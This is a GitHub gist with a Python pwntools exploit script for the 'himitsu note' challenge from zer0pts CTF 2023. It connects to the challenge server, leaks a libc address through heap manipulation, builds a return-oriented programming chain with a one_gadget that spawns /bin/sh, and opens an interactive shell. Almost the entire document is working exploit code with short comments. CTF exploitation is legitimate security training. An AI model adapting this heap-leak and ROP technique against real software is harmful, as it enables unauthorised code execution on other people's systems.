Skip to content

Instantly share code, notes, and snippets.

@UDPctf
Created July 16, 2023 08:02
Show Gist options
  • Save UDPctf/d381944bc8a6bfa4b109e684923c2085 to your computer and use it in GitHub Desktop.
Save UDPctf/d381944bc8a6bfa4b109e684923c2085 to your computer and use it in GitHub Desktop.
zer0pts CTF 2023 - himitsu note exploit script
#!/usr/bin/env python3
from pwn import *
elf = ELF("./chall_patched")
libc = ELF("./libc-2.31.so")
ld = ELF("./ld-2.31.so")
context.binary = elf
#p = process(elf.path)
#gdb.attach(p)
#p = remote("0", 9003)
p = remote('misc3.2023.zer0pts.com', 9003)
def add(idx):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b': ', str(idx).encode())
def edit(idx, data):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b': ', str(idx).encode())
p.sendlineafter(b': ', data)
def do_free():
p.sendlineafter(b'> ', b'1'+b'x'*0x4f)
p.sendlineafter(b': ', b'5')
p.sendline(b'hax')
z = p.recvuntil(b'transferring control: ', timeout=1)
if z:
return p.recv(6)
add(0) # Free a chunk such that allocation 37 (the environment variable pointing to "chall"
# Now points to a free chunk, and by extension a libc pointer
add(6) # <---- This is imporant. It triggers the debug message for some reason
do_free()
# Wipe the pointer in a pointer that points to the "chall" environment
edit(9, b'AAAAAAAA')
edit(9, b'AAAAAAA')
edit(9, b'AAAAAA')
edit(9, b'AAAAA')
edit(9, b'AAAA')
edit(9, b'AAA')
edit(9, b'AA')
edit(9, b'A')
edit(9, b'')
# Malloc place of the newly wiped pointer such that it now points to a former free chunk
# with heap meta data left over
add(37)
leak = do_free()[::-1]
libc.address = int(leak.hex(), 16) - 0x1ecbe0
info("Libc: %s" % hex(libc.address))
popr12 = libc.address + 0x00198fd2 # pop r12; ret;
ret = libc.address + 0x0019916a # ret;
null_ptr = libc.address + 0x1eca90
one_gadget = libc.address + 0xe3afe # execve("/bin/sh", r15, r12)
# constraints:
# [r15] == NULL || r15 == NULL
# [r12] == NULL || r12 == NULL
## Prepare being able to overwrite ret addresses
p.sendlineafter(b'> ', b'1'+b'a'*0xbf)
p.sendlineafter(b': ', b'16')
## Prepare ropchain
payload = b''
payload += p64(popr12)
payload += p64(null_ptr)
payload += p64(one_gadget)
## spray RSP and ret-sled. This only works one out of about 10 times, so be lucky!
edit(21, p64(ret)*60+payload)
# Ttrigger the ropchain (if not triggered already)
p.sendline(b'ls')
p.sendline(b'id')
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment